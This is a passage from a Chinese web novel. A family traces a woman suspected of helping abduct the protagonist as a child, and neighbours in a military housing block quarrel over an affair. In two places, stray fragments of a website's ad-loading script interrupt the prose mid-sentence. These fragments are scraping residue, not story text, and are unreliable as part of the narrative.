“早失踪了,不知道去哪儿了,生不见人死不见尸的。”商惊雷叹了口气,“可惜家里没有他们的照片,不然真该让你见见,以后遇到了可以躲着点。不过没关系,那个畜生的特征很明显,你记住了,要是哪天看到你小姑跟一个下巴上有黑痣,黑痣上还长了根胡须的男人走在一起,那就是她男人没错了。见到他们什么话也别说,当做陌生人,赶快远离,越快越好。” “知道了爸,我出去找同学商量一下科技公司的事。”商春深大受触动。 压根不知道自家小姑居然嫁给了这么一个歹毒的人渣。 * 酒店里,吴旭东一点胃口也没有。 他今天本来应该感到高兴,毕竟自己的亲姐姐结婚了。 而且这么一来,大哥可以毫无负担的为自己考虑了。 可他就是开心不起来。 眼前摆着美酒佳肴,他却味同嚼蜡。 一旁的周子琰不知道他怎么了,赶紧摸了摸他的额头:“不舒服?是不是累着了?” “不,我总觉得刚刚那个商春深,我好像在哪里见过。”吴旭东一把握住周子琰的手。 脑海中那段模糊的记忆时隐时现。 他猛地站了起来,看向了邻桌的大舅安一方。 他起身,走到安一方旁边:“大舅,商春深都有哪些亲戚,有没有照片,我想看看。” 68. 神了 安一方跟商惊雷的关系谈不上多好。 不过两人有个共同的好友,得知商家有个博士儿子,安一方有个博士外甥女,便极力撮合。 所以安一方才动了给安小蕾介绍对象的念头。 得知安小蕾跟汤正阳订婚后,他便跟商惊雷说清楚了,没想到商春深会跑过来找安小蕾搭话。 好在人走了,没有惹出什么乱子来。 现在吴旭东问他要商家人的照片,他还挺意外的,问道:“怎么了小东,脸色这么差?” “我想起来一些事情,想证实一下。”吴旭东是个特别坚强的人,只有在涉及到拐卖案子的时候,才会流露出一丝脆弱。 安一方赶紧拉着他坐下:“个人照是没有的,不过你舅妈那里帮我收着一张研究所同事的合照,可以吗?” “也行,我想找的是一个女人。”说着他对吴国正招了招手。 吴国正刚刚在汤家那边陪汤汇德说话,没注意到商春深。 不过儿子找他,他还是赶紧过来了:“怎么了东东?” “爸,当年在农村的时候,住我家隔壁的女人叫什么?” “刘萍,不过那是个假名字,我不是跟你说过了吗?警察根据这个名字查出来的是另外一个女人。她盗用了别人的身份。” “对,是假名字,所以找不到她。可是爸,刚刚过来一个男的,我总觉得他长得很像那个女人,尤其是眼睛。” 吴国正很意外,赶紧让旁边的亲眷给他让个座。 坐下后问道:“你确定?有照片吗?” “我也在问大舅要照片。大舅,你知道商家还有什么人吗?”吴旭东难得抓到一丝线索,肯定是要刨根问底的。 安一方放下筷子,道:“商春深的爸爸叫商惊雷,听说是手足三个,家里有个大姐,叫商惊云,还有个弟弟叫商惊涛。不过他大姐死了,去年他请了丧假,回西北奔丧去了。” “死了?在西北做什么的?”吴旭东有些失望,恐怕是他想多了。 安一方也觉得他可能太敏感了,解释道:“商惊云是老八路,建国初期就去了建设兵团,一直没有离开,她不可能跟你爸爸做邻居的。” 吴旭东陷入了沉默。 如果真是这样的话,那就是他冤枉商家的人了。 不过他还是不死心,问道:“你跟这个商惊雷很熟吗?他有没有什么其他的叔伯姐妹?” “这我还真不清楚,他是八零年调过来的,他大姐和弟弟我都没有见过。再说了,他跟我不在一个项目组,平时不太碰得上,我也不能查户口,把人家七大姑八大姨都问清楚吧。”安一方无奈,“不过你要是需要照片的话,我可以拿给你。” 吴旭东点头:“要的,等会婚宴结束我跟你去拿。” 安一方拍拍他的肩膀,安慰道:“如果真的不是,也别着急,这些年打拐的力度越来越大了,刑侦技术也在飞速发展,会有水落石出的那一天的。” “嗯,谢谢大舅。”吴旭东回到周子琰身边,还是没胃口。 周子琰很担心他,握住他的手,用力捏了捏。 是安慰,也是鼓励。 吴旭东不想让她担心,强颜欢笑,拿起筷子吃了几口。 不过他们的对话,周子琰都听到了。 她想了想,宽慰道:“建设兵团的人,我有办法打听到的,你别急,等我回岛上就帮你问问。” 也对,建设兵团虽然是独立的存在,但是有个“兵”字,应该也算是他老婆的同行。 吴旭东多吃几口,宽宽老婆的心。 酒席结束,吴国正招呼四个孩子一起拍照。 正好今天人齐,婚礼上又请了摄影师,连带着安小蕾这个准儿媳一起,拍个全家福。 吴旭东明显心思不在这上头,站在人群中,魂不守舍的。 拍完照片,汤正阳赶紧问了问他怎么回事。 听完他的陈述,汤正阳宽慰道:“农村那边我已经叫人去调查了,确实跟咱爸说的信息是吻合的。那个女人在你被拐后就失踪了,有人传言看到她和她儿子淹死在了江里;还有人说是她男人不要她了,她就跟她儿子找男人去了;还有人说其实她没死,怕警察找到她男人头上,所以躲起来了。总之,这个女人就算不是帮凶,起码也是知情者。现在最大的难点就是她的身份没办法确定。” “我认识一个刑侦领域的专家,可以根据目击者的口述,画出嫌疑人的大致画像。”一直没有开口的安正则,忽然插了句嘴。 吴旭东跟汤正阳齐齐回头,看向了这个大表哥。 安正则严肃地点了点头:“可是小东,如果你的记忆太过模糊,是没有办法画出清晰的画像的。所以这事你不用管了——” 说着他看向了汤正阳:“正阳你人脉广,想想办法,找几个当年住在附近的人过来见专家,最好是记忆清楚的,可以明确说出五官特征的。” “没问题,交给我了。”汤正阳乐意得很。 弟弟的事就是他的事。 何况这还是跟他一样受苦受难的亲弟弟,义不容辞。 再说了,子琰快生了,这事也不能让小旭去做。 事儿就这么说好了,吴旭东跟着安一方去拿照片。 周子琰回爸妈家里等他。 其他人也都跟了过去,没办法,谁让人家的大平层够宽敞呢。 很快,吴旭东拿着照片回来了。 因为是合照,所以人像的比例都很小,五官看得不太清楚。 但吴旭东还是觉得,这个商惊雷真的跟那个婶子长得很像。 “爸,你看看。”他把照片递给吴国正。 吴国正乍一看也觉得有点像,不过细看之下,脸型和鼻子嘴巴都不太一样。 “最像的就是这双眼睛。”吴国正无奈的把照片还给吴旭东,“看来只能先查一查商家有没有什么叔伯姐妹了。” “大舅说他现在就去找朋友打听,有消息了会跟我们联系。”吴旭东也有些遗憾,毕竟照片上的人太多了,尺寸影响,看不清楚。 总之,起码是个线索,万一呢。 众人正长吁短叹,安小蕾的大哥大响了。 商春深打来的,笑着问道:“安教授,你那个妹夫不是想做科技公司吗?我之前拒绝了他,其实是因为我怕他拿不出那么多钱。现在我和我的朋友们商量过了,我们愿意也出一笔钱,跟他合资办公司,你帮我问问他愿意吗?” “我给你他的号码,你自己问吧。”安小蕾不想跟这个男人啰嗦。 要问为什么,当然是之前那短暂的几句对话,让她很不舒服。 她说她对计算机不感兴趣。 他说他会让她感兴趣的。 爹味真重,她很反感这种人。 报完电话号码,她便挂断了电话。 她看向吴旭东,提醒道:“如果你真的怀疑那人是他的亲属,可以借着科技公司的机会,多接触接触。实在不行可以找几个兄弟给他灌酒,让他酒后吐真言。” “没错,早些年户籍制度还不完善,不少人虚报年龄,谎报身份。如果他家还有别的什么亲眷,为了躲避祸事或者其他的什么原因,改名更姓,去别的地方生活,这是完全有可能的。”安正则认同自家表妹的观点。 所以他也没有排除吴旭东怀疑对了的可能性。 吴旭东点头,正准备说点什么,电话响了。 商春深笑着说道:“小吴啊,我跟我朋友商量了一下,愿意出钱出力,帮你一起把公司建起来。不过我目前只是挂名,暂时不会辞职。等公司上了正轨我再辞职。” “你不来公司,难道指望我来搞研发?我学的可是电气工程,不是计算机。”吴旭东跟众人对视一眼,让他们不要说话。 商春深笑道:“我是不辞职,可是我朋友会来你公司啊。别怕,不会让你孤军奋战的。” “哦?都有谁啊?” “我在麻省的两个同学,还有一个剑桥回来的中学同学,三个臭皮匠顶个诸葛亮嘛,创业初期暂时让他们顶着,足够了。” “什么学历?” “当然都是博士了,有一个在硅谷实习过,只是受不了那边排华的氛围,所以选择回来了。” “什么时候回来,咱们见个面,商量一下具体的出资比例。” “一个礼拜之后吧,他们还有点事情要处理一下,这段时间你先把公司办公楼选好。” “行,你号码多少,我记一下。”吴旭东蹙眉,这人哪里是跟他商量。 分明是自己决定好了,打电话命令他来了。 要不是为了调查人贩子,他根本不会忍。 记下号码,挂断电话,所有人都看着他。 他简单复述了一下商春深的要求。 安小蕾忍不住冷笑:“我就知道,这人哪里是跟你合作,分明是想当你老子。颐指气使的,看着就让人恶心。” 这话汤正阳爱听,她不恶心他,还答应了跟他订婚。 说明他比那个博士优秀。 臭美的男人很擅长给自己脸上贴金,忍不住笑呵呵的捏了捏她的手,递过去一颗剥了皮的葡萄。 这么多人呢,他也不怕害臊。 万一被拒绝了多没面子。 然而安小蕾没有拒绝他,习以为常的低头叼住了葡萄,继续评价道:“小东你最好是找点理由拖着他,别真的跟他合作。拖到事情调查清楚就可以把他踢开了。你也别怕找不到人跟你合作,我还是有一些人脉的,回头我给你介绍几个学计算机的,不比这种想当土皇帝的二百五强?” “行,听嫂子的。”吴旭东瞧着他们那么亲昵,心里高兴,故意逗一逗她。 结果安小蕾非常淡定,一点不见害臊。 反倒是挑起了他的不是:“什么嫂子,叫姐。” “你都戴着钻戒回来了,我偏不。”吴旭东拒绝。 “让你叫姐就叫姐,我还没答应跟你哥结婚呢!” “那你戴着求婚戒指干什么?” “好看啊。不行吗?” “行啊,嫂子。” “周子琰,管好你家小东!”安小蕾恼了。 周子琰哈哈大笑:“我才不管,没力气。” “就是,孕妇就是要心平气和,不急不躁。嫂子你得多疼疼我家子琰。”吴旭东皮痒了,就是不肯改口。 气得安小蕾直翻白眼。 汤正阳乐得跟什么似的,又剥了几颗,让安小蕾笑纳。 安小蕾不吃了,转手塞到他自己嘴里:“谁是你弟弟的嫂子,你说说,谁是他的嫂子,我答应你了吗?” “不气不气,你是他二姨姐,等会回去我收拾他。”汤正阳赶紧哄哄。 吴旭东不禁咋舌:“啧啧啧,重色轻弟。” “你再皮小心你蕾蕾姐揍你。”汤正阳哭笑不得。 话音刚落,安小蕾便捡起一个抱枕扔向吴旭东。 吴旭东哈哈笑着躲开,捡起来后拍拍,直接送阳台晾着去了。 安小蕾服了,只能跟妹妹告状:“你看看你,惯出来一只泼猴。” “泼猴才好呢,将来孩子随他,在学校不怕被人欺负。”周子琰当然要帮着自己男人。 亲姐姐只好干瞪眼。 正嘻嘻哈哈的闹着,一直沉默的谈三娘忽然开口了。 喧闹的人群中,只有谈九妹第一时间注意到了姐姐的变化。 赶紧扬起手来:“安静,都别说话了。” 她蹲在姐姐面前,握住姐姐的手:“姐,你刚说什么?” “商……惊……鸿……商……惊……鸿……”谈三娘不断重复着这三个字。 以至于所有人都不敢置信的看着她。 一个脑伤患者,为什么忽然提起一个陌生的名字? 是未卜先知,还是恢复了记忆? 如果是前者,那也太神了。 吴旭东扑到自己妈妈面前,握住她的手:“商惊hong是吗?什么hong?红色的红还是鸿雁的鸿?” “雁……雁……”谈三娘的语言能力还是没有完全恢复。 不过即便是这样,大家也都听懂了。 谈九妹很是激动,赶紧催促安正则:“正则,快,找你朋友帮忙查一查,是不是有这个人。” “知道了谈姨。”安正则跟妹妹都没有改口,毕竟他们亲妈去世的时候,他们已经十六岁了,情感上接受不了别的人做妈妈。 谈九妹不在乎这些细节,将心比心,要是她十六岁的时候长辈去世了,她也没办法改口对别人喊爸喊妈。 正是这样的体谅,让她这个后妈反倒是跟孩子们想相处得很好。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 安正则走后,谈九妹擦了擦眼泪:“太好了,早点把当年的事情查出来,小东就可以彻底告别过去,踏踏实实的迎接新生命了。” 是啊,汤正阳也是这么想的。 赶紧招呼安小蕾一声:“你跟我走还是自己回去?” “你自己去吧,我陪陪子琰。”安小蕾分得清轻重缓急,如果让他送她回去,少不得又要多耽误两天。 眼看着妹妹就快临产了,还是早点把这个隐患解决掉的好。 汤正阳点点头,临走时不放心,握住亲妈的手,反复叮嘱罗素漪:“小姨,我妈就拜托了。” “放心吧孩子。”罗素漪深深同情这家人的遭遇。 原以为正阳够倒霉了,没想到只是倒霉的几分之一。 亲妈摔残了脑子,亲弟弟自小被拐卖。 亲爸被迫早早退下来照顾亲妈,一耽误就是将近二十年。 桩桩件件,都让人唏嘘。 她说什么也要尽一尽力的,正阳这孩子太好了,不忍心。 * 吴旭东陪着周子琰回到岛上。 刚到楼下,便听楼上在吵架。 小心翼翼的扶着周子琰,他问道:“该请产假了吧?请了假咱们去爸妈那里住着。” “还没到时候。”周子琰其实觉得还好,她的肚子不大,身上其他地方也没有变胖,体重变化才十几斤,也没有长妊娠纹。 所以她并不是很累。 而产假一般都是临产的时候才休,所以还得再等等。 吴旭东很是心疼,把她送到家里,便出去看看到底在吵什么。 原来是冯薇,为了两个鸡腿跟孙谦吵起来了。 其实她昨天晚上回来就问了,孙谦死鸭子嘴硬,非要说是给何东升的。 当时何东升没回来,她也找不到证据拆穿孙谦。 今天可给她逮着机会了。 可怜何东升,压根不知道冯薇请他来是为了跟孙谦吵架的。 这会儿正急得跟什么似的,想劝架,嗓门儿不如冯薇大。 想溜,又觉得不厚道。 只得进退两难的杵在那里。 吴旭东一来,他像是看到了救星,赶紧拉着吴旭东去走廊上,如此这般的解释了一下。 吴旭东明白了,拍拍他的肩膀:“你也真是倒霉,没吃他家东西还白白背了骂名。” “两个鸡腿倒没什么,我就是不理解,这有什么好撒谎的,更不理解这有什么好吵的。”何东升苦哈哈的,真担心回去会被他老子臭骂一顿。 吴旭东宽慰道:“等会我陪你回去,跟政委解释一下。” “谢谢,不用,我自己说吧。”何东升要脸,还不想被人看到他挨骂。 吴旭东没有坚持:“他们两个出现了信任危机,是他们自己的事,只要你把解释的重点放在这上头,政委会理解的。” “嗯,好。”何东升想回去,但还是不放心,“你能劝得住吗?” “能,回去吧。”吴旭东转身,掀开门帘,进了孙谦家里。 冯薇还在吵吵,看到吴旭东,丝毫没有休战的意思。 吴旭东二话不说转身回了自己家,他拿着拍立得,跑到孙谦家里,给他们拍了张照片。 曝光结束后,他把照片丢在了茶几上,冷着脸道:“看看你们急赤白脸的样子,像不像马戏团耍猴的。” 说完他便走了。 那冯薇爱美,拿起茶几上的照片一看,顿时愣住了。 真难看啊,恶形恶状的,像个泼妇。 至于孙谦呢,也没好哪儿去,面红耳赤的,像个暴力狂。 两人齐齐收了声。 楼下院子里的何东升终于放心了,恰好吴旭东在走廊上看了眼楼下。 四目相对,何东升笑了笑:“谢了兄弟。” 挥挥手,何东升转身离去。 吴旭东没说什么,只是觉得自己幸运。 这个何东升虽然面了点,但是心地还是挺善良的。 要不是他在王家沟的时候就没脸没皮的跟周子琰表白了,说不定何东升真的会有机会。 回到家里,他关上门,盯着沙发上正在比划婴儿小衣服的周子琰。 思绪翻涌。 他走过去,静静地坐下,轻轻的抱住这个女人,下巴枕在她肩上,一句话也说不出来。 周子琰不知道他怎么了,放下手里的小衣服,转身搂着他,抚摸着他那扎手的头发。 两口子就这么默默的拥抱在一起,无声胜有声。 接下来的时间里,云朵还是每天过来送吃的。 周子琰觉得这么下去不好,干脆跟云朵说开了:“我知道你在岛上没什么朋友,可是这么下去,你会影响我的风评。今天你已经来了,我姑且收下,下次再来我就闭门不见了。” 云朵尴尬的笑笑:“你怀着孕啊,我也是好意。” “我知道你是好意,所以我才开诚布公的跟你说清楚。”周子琰冲厨房里的吴旭东喊了一声,“小东,把大哥寄来的土特产拿来。” “来了。”吴旭东赶紧去次卧拿东西。 很快拎着一包牛蒡干儿出来了。 “这是我大哥朋友家种的,泡茶喝,清热解毒,润肠通便,是好东西。听说你家胡鹏飞便秘,正好给他试试。”吴旭东递给云朵一个白色的包裹。 云朵打开看了看,一袋一袋的小包装,上面写着某某地特产。 她知道,收下这个,就该结束这段时间的吃食往来了。 虽然她还想继续掌握孙谦家里的动态,但也不得不收下。 没事,反正这楼里不是只有他们一家。 她都来了这么多次了,早就跟其他人家眼熟了。 很快,周子琰发现她跟厨子张铁勺来往密切。 周子琰让吴旭东留心打听了一下,原来张铁勺的爱人贫血。 正好云朵亲戚家是做阿胶的,这就给了云朵名正言顺的借口。 周子琰不禁叹气:“我怎么觉得这个云朵是想破坏孙谦的婚姻呢?” “有可能。”吴旭东无奈,孙谦都那个态度了,他们也不好搀和。 正唏嘘呢,电话响了。 汤正阳催促道:“小旭,你快回来一趟,画像出来了!大舅也说这女人跟商家父子长得挺像的。” 69. 临产(二更) 这会儿是中午,吴旭东要是赶回去,还来得及赶回来做晚饭。 只是,周子琰午休之后下楼怎么办? 虽然只是短短的三十个台阶,可他不放心啊。 思来想去,还是等她午休结束再说。 周子琰看出来他的烦躁,握住他的手宽慰道:“回去吧,我没事的,就这点路。” “不行,什么都没有你和孩子重要。”吴旭东拒绝。 周子琰拗不过他,只好打了个电话给她朋友。 这是她曾经带过的一个女兵,叫钟无双,她爸妈都是建设兵团的。 而钟无双退役后,正好回了原籍,在运输系统工作。 所以找她帮忙最合适不过。 电话接通,周子琰问道:“小钟,怎么样?查到了吗?” “周指导!我正想给你打电话。查清楚了,商惊云爸妈一共四个孩子,她还有个妹妹,叫商惊鸿,只不过二十几年前就报了失踪,失踪后三年申报了死亡。”钟无双拿着商惊云子女提供的线索,道,“不过,据商惊云的子女所说,商惊云临终前,来了个裹着围巾的女人探病,全程不肯摘下围巾。” “这可能就是商惊鸿。” “我也是这样怀疑的,可是我问了商惊云的子女,都说那个女人来去匆匆,后面再也没有出现过了。而且大概率用的还是假身份,我查了去年这边的铁路和公路售票情况,没有一个叫商惊鸿的。线索中断,实在是抱歉。” “谢了小钟,辛苦了,有空请你吃饭。” “不客气,老领导。有情况我再跟你联系。” “多谢。” 周子琰挂了电话,看向了吴旭东:“我知道你现在很着急,这样,我给子琛打电话,他一来你就回去。晚上也不用着急往回赶,尽量先把这件事弄个水落石出。实在不行,你还可以约商春深出来见一面,他要是不肯说,你就诈他。说你认识一个叫商惊鸿的人贩子,还是你亲手送进去的。” 这倒是个办法。 吴旭东不得不佩服自己老婆的智慧。 赶紧打电话让周子琛过来。 结果来的是老安。 她提着大包小包的东西,精神抖擞的:“你去吧,去几天都行,这段时间我来照顾子琰。” “妈,谢谢你。”吴旭东感激不已。 但他不会耽误太久的,今晚就会回来,毕竟他老婆到了孕晚期了。 又不是没有提前发动的例子,他不想错过两人生命中最重要的这一刻。 午休结束,老安扶着周子琰下楼。 不少人好奇的打量着这对母女。 刘敏杰直接凑过来打了个招呼:“安姨!好久不见!” “是小刘啊。”老安笑着打量了一下这个年轻的女兵,夸道,“真有精气神。” “安姨来照顾周姐啊,其实家里有事的话,跟我说一声就好了,顺手的事。”刘敏杰走过来,扶着周子琰另外一侧。 老安笑笑:“你也忙啊,再说我家离得也不远,坐个船的功夫,不费什么事儿。” “安姨真疼周姐。”刘敏杰笑笑,边走边聊。 正说着话,冯薇一阵风似的从几人身边路过,只停下跟周子琰打了个招呼,扭头便走。 刘敏杰忍不住嘀咕:“真没素质,也不跟安姨打个招呼。” “年轻人,风风火火的才有朝气。没事的。”老安不在意这些细节,又不是什么亲眷,无所谓的。 刘敏杰还是嘀咕:“这个冯薇啊,前几天中午跟她男人吵架,那破锣嗓子,吵得整栋楼的人的都睡不着。” “是吗?”老安蹙眉,看来有空要敲打敲打这个不安生的邻居。 子琰孕晚期了,可受不得吵闹。 刘敏杰疯狂点头:“真的,后来是姐夫去劝的架。姐夫可真行,两句话他们就不吱声了。” “那就好。”老安放心了,看来不用她多嘴了。 不过,万一以后再吵起来…… 老安决定下午的时候留心观察观察,实在不行,让这家搬楼下去,要吵自己关上门吵。 * 吴旭东赶到老丈人家里。 安正则递了一份文件给他。 虽然只是一张简单的素描,但他几乎可以肯定,就是这个女人给他的肥肉。 而他接过肥肉不到半个小时,就被打晕带走了。 要说这个女人不是帮凶,他情感上是不太能接受的。 太巧了,巧得离谱。 吴国正蹙眉,看向安一方:“商家那边怎么说?” “商惊雷不承认自己有个妹妹,还说压根不知道商惊鸿是谁。”安一方非常生气,这个商惊雷,真不是个东西。 怕引火烧身,所以就连警方的工作都不配合了。 真叫人不齿。 吴国正叹了口气:“看来还是要费一番功夫才行。” “不怕,警方已经向她可能活动的省市发去了协查函,早晚会有消息的。”安正则宽慰道,“再说了,她男人可是通缉犯——” 说着他给出另外几分资料:“这几年,北方,西南,西北,多达七个身份出现过追捕这个男人的通报。只是因为他使用了假的身份信息,所以没办法把信息串联起来。这次我跟我朋友强调,一定要盯着他嘴唇边的黑痣检索信息,结果一下出来九起案件,其中有几起是同一个城市不同时间点的作案,因为他使用了假身份,前后间隔了十几年,办案的警察也换了一批,所以警方没有把案子串联起来。根据这些信息,可以发现这个男人的流窜轨迹是有规律的。” 吴旭东坐在安正则旁边,认真听他分析。 安正则拿出一张地图,上面已经圈好了七个地点:“你们看,他的活动范围,是从北京一路南下,直到云南边境。” “可是云南跟北京之间,如果走铁路的话,不是只需要途径四个省份加一个直辖市吗?”吴旭东合理怀疑,“多出来的两个地点,会不会就是他跟商惊鸿见面的地点?又或者说,他不止商惊鸿一个女人,还有别的相好。” “这个推测非常合理。小东,你不是要开发什么联网的系统吗?保持这个思路,你一定可以的。”安正则非常欣赏这个表妹夫,严肃道,“所以,警方发出的协查函,就锁定了这个七个省份和建设兵团那边,相信很快会有消息的。” “大表哥,辛苦你了,为了我的事,到处奔波。”吴旭东感激不已,不知道该怎么谢谢人家,只能回家后给大表哥的孩子织两件毛衣了。 毕竟大表哥是人民的公仆,不好收什么感谢费的。 安正则一向不苟言笑,这会儿却笑着拍拍他的肩膀:“不用谢我,好好照顾我表妹,我就没有白辛苦。你记住了小东,我们这一大家子,最讲究的就是互帮互助。今天我帮你,日后家里其他人落了难,希望你也能伸出援手帮帮他们。” “放心,我会的。”吴旭东认真点头,握紧了肩上的手。 “好了,我回去了,你找个机会,接触接触这个商春深。我估计,就算他不知情,起码他老子也该知道点什么。你先跟他搞好关系,徐徐图之。”安正则很忙,看了眼手表,起身告辞。 周中擎赶紧把做好的桃花酥装起来交给他,喊道:“子琛,去送送你大表哥。” 懒虫周子琛顶着鸡窝头出来,哈欠连天的:“人家赶稿,半夜才睡的,你可真是我亲爹啊。” 周中擎笑着把钥匙扔给他:“别贫,快去,我跟你姐夫有事说。” “哦。”周子琛无奈,把安正则送去机场,再送大舅回研究所。 回来的时候,姐夫和准姐夫都走了。 他打了个长长的哈欠,埋怨道:“你心疼心疼我好不好?” “还要怎么心疼你,从小衣食无忧的,全家都宠着你。”周中擎无奈,这个大懒虫,送个人就抱怨连天的。 周子琛直接趴在他肩膀上耍赖皮:“不管,你就是欺负我,等我妈回来我要告状的。” “能不能有点出息?等你二姐跟正阳哥结婚了,全家就只剩你还单着了。能不能有点紧迫感?”周中擎嫌弃得不行,这么大人了,还往他身上挂,臭不要脸的祸害。 周子琛偏不肯撒手,直接圈住他的脖子,挂在他身上,要把耍赖进行到底:“我才不要结婚,我一辈子都是宝宝。” “滚!”周中擎给气笑了,直接拖着这个大赖皮,把他拖到了卧室,一个背摔,扔床上去了。 周子琛立马坐起来控诉:“我就知道,我姐都是跟你学的!当初在学校后面,头一次见吴旭东,她就给我来了个过肩摔。我不要面子的吗?还是我妈疼我,你看我晚上找不找我妈告状!” “告去告去!你看你妈舍不舍得凶我!”周中擎拍拍手,扬长而去。 气得周子琛拿起稿纸本,画了个丑八怪爸爸。 等厨房传来炒菜声的时候,他便佯装去冰箱找吃的,将丑画贴在了他爸背上。 老安回来的时候,看到自己男人那滑稽的样子,忍不住笑了。 问清楚什么情况后,不但没有帮着儿子训老子,反倒是跟老子一起训起了儿子。 周子琛委屈坏了,闹着要离家出走。 正嚷嚷,老爸端着鲜香美味的晚餐出来了。 气头上的书呆子馋虫大动。 什么离家出走,对不起,他没说过这话。 吃,吃穷这对秀恩爱的老不羞! * 孙谦今天心情很不好。 下午的时候,老安找他谈话了。 虽然说得很委婉,但是他听出来了,老安也知道他的破事儿了。 这个老阿姨真是有手腕儿,虽然说话温声细语的,也一直面带微笑,但他就是知道,她是在委婉的威胁他。 说句大白话——他怎么作妖,她不管,但要是吵到她女儿休息,那对不起,她一定会收拾他的。 至于怎么收拾他,没说。 但他不敢往深了想。 以至于冯薇回来的时候,他努力抛开不愉快的情绪,哄她开心。 冯薇看着眼前的红烧鸡,忍不住挖苦道:“呦,今天没把鸡腿藏起来啊?” “我的姑奶奶,你就当我真的藏起来吃了,也不至于气到现在吧?我都给你赔不是了。”孙谦郁闷了,他现在只能寄希望于冯薇的肚子,早点怀孕吧,求求了老天爷。 怀孕了就有万能的理由堵冯薇的嘴了——孕妇可不能生气啊。 冯薇翻了个白眼:“要不是吵架的样子太难看,我才不会放过你。” “对不起,我错了,你要我怎么做,我弥补你。”孙谦无语了,周围都是些得罪不起的祖宗,只能服软。 冯薇眼珠子一转,勾了勾手指,说了句什么。 孙谦脸红脖子粗的张了张嘴:“那多不好意思。” 冯薇不高兴了,放下筷子,气鼓鼓的:“我听白欣说的,这样很刺激,你到底愿不愿意让给我开心开心?” “这样不卫生吧?”孙谦有点受不了,这个白欣怎么回事,净教冯薇一些奇怪的东西。 可是冯薇很想试试,坚持道:“只要你好好让我开心一次,我就原谅你了,毕竟需要你多出点力气的嘛。” 孙谦沉默了。 确实,这栋楼里的九个女兵,就属冯薇最为娇小可爱。 膀子也没有什么肌肉线条,果然搞后勤的没有一线部队的训练强度大。 为了长久的和睦,他只能硬着头皮:“好,我试试。” 于是两人刚吃完,便打开了电视机,用新闻联播的声音掩饰他们制造的动静。 压根不知道李二蛋早就躲在窗户外面在偷听。 正好云朵来给白欣送阿胶,刚到楼下就听到了孙谦家里的电视声。 李二蛋躲在楼梯口,鬼鬼祟祟的冲她招了招手:“云朵阿姨,他们两个在……” 云朵听着很不开心,好哇这个孙谦,跟她在一起的时候不肯做那种事,倒是为了讨好冯薇放下了身段儿。 越想越气。 她便故意从孙谦家门口路过,喊了声:“二蛋,暑假作业写了吗?要不要阿姨教你啊?” 李二蛋没想到她也是个捣乱的高手,忍不住竖起了大拇指。 他扬声应道:“可是云朵阿姨,你是大学生吗?不行我找孙叔叔吧,他可是大学生呢。” “我也是大学生啊,只是学校不太好而已。”云朵笑着勾住李二蛋的脖子,“教你这个皮猴子还是绰绰有余的。” “那不好吧,我还是想找孙叔叔帮忙。”李二蛋故意趴在孙谦家窗口说话。 孙谦气得想开门胖揍熊孩子,却也只能忍着。 云朵估摸着孙谦已经上火了,笑着说道:“想什么呢,人家都锁门了,估计看电视睡着了吧,走,我帮你看看去。” 李二蛋遗憾道:“好吧,你真的会教吗?不会误人子弟吧?” 云朵气笑了:“那你不放心的话,等会找你孙叔叔问问,我教得对不对。” “好吧。”李二蛋蹦蹦跳跳的走开了。 屋里的孙谦完全没了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 兴致,想起身,冯薇却不高兴了:“干嘛?不就是熊孩子吵吵几句吗?快点给我弄。” 可是强扭的房事它也甜不了。 后半程完全没了任何乐趣可言。 气得冯薇冲完澡便躺下睡觉了。 可怜孙谦,像个受气小媳妇一样,守在客厅了看了会儿电视。 他很担心,云朵要是经常这么搞他,早晚会被冯薇察觉出来的。 是时候跟云朵好好谈谈了。 于是云朵离开路过他家门口时,他打开了家门。 身后响起冯薇的声音:“干什么去?” “扔垃圾。”孙谦冷着脸,给了云朵一个暗示的眼神。 云朵却没理,大步流星的走开了。 以至于孙谦去海滩边上等了半天都没人来。 倒是撞见了一对野外求刺激的小情侣。 赶紧躲开,回来了。 刚到走廊上,就看到李二蛋杵在他家门口,正在跟冯薇说话。 吓得他赶紧上前几步,不耐烦道:“干什么?没看到你冯阿姨睡觉了?” “孙叔叔,我来找你问题目啊。”李二蛋眨了眨眼睛,打开自己的作业本,送到孙谦面前。 孙谦本来不想理,没想到上面有一行铅笔写的字。 一看就是云朵的笔迹—— “你可真行啊孙谦,你不是不喜欢做那种事吗?怎么,今天为了伺候你老婆,挺豁得出去啊。看来你是真的爱她,我为你们可歌可泣的爱情感动,祝你们天长地久吧。” 落款是一朵云。 孙谦赶紧把作业本抢过来,又夺走了李二蛋手里的橡皮:“你乱写的什么,谁让你这么解题的,走我去你家教你。” 擦完云朵的留言,孙谦直接拽着李二蛋去了楼梯那里,小声警告道:“下次再故意偷听我跟你冯阿姨说话,就别想再找我要吃的了。” “没事,云朵阿姨会给我好吃的。连你的那一份一起给了。”李二蛋做了个鬼脸,抢走作业本,溜之大吉。 气得孙谦差点晕倒。 正好吴旭东出来扔垃圾,四目相对,孙谦脸上火辣辣的。 吴旭东只当什么也不知道,自顾自下了楼梯。 孙谦跟了出去。 吴旭东将垃圾扔在院子西北角的垃圾桶:“什么事,说。” “帮我劝劝云朵,她这么闹下去,迟早要露出马脚的。”孙谦叹了口气。 前几天拒绝人家的好意时有多嚣张,这会儿求人帮忙时就有多卑微。 吴旭东转身,走开几步躲开聒噪的苍蝇。 月色下,他打量着这个老好人班长的五官,不禁诧异:“你不是说我老婆没资格管你的事吗?她都没资格,我就更没资格了,你找错人了。” “老同学,别这样说。”孙谦叹了口气,“是我错了。我一直在找机会跟冯薇坦白,等她怀孕好不好,这样起码不会闹到离婚。” “诚信是立身之本,我只能说这么多。”吴旭东扭头要走。 孙谦无奈,只好威胁道:“你就不怕我跟何东升抢走你大哥的合作商吗?我见过他一次,人很不错,买卖也做得很大,可是本地市场是他刚刚接触的,还没有站稳脚跟。” “我大哥要是能被你打败,也算你的本事。”吴旭东回头眯眼盯着他,“不过你能说出这句话,我们之间的同学情分也就结束了。你随意,我大哥就算放弃这里的市场也没多少损失,无所谓。” “你真的这么残忍吗?”孙谦急了,开始口不择言。 吴旭东被他气笑了:“你都威胁我了,还指望我对你有好脸色?” “我不是故意的,只是太着急了。” “我老婆快生了,我没空做你们的家庭矛盾调解员。至于云朵,我想你态度诚恳的跟她道个歉比什么都管用。是你抛弃了她,她受到的伤害很大,于情于理,你都该好好跟人家道个歉。如果云朵想跟胡鹏飞好好过日子,她应该会原谅你的。我言尽于此,你自己好好考虑吧。”吴旭东上楼去了。 孙谦留在原地,陷入了沉思。 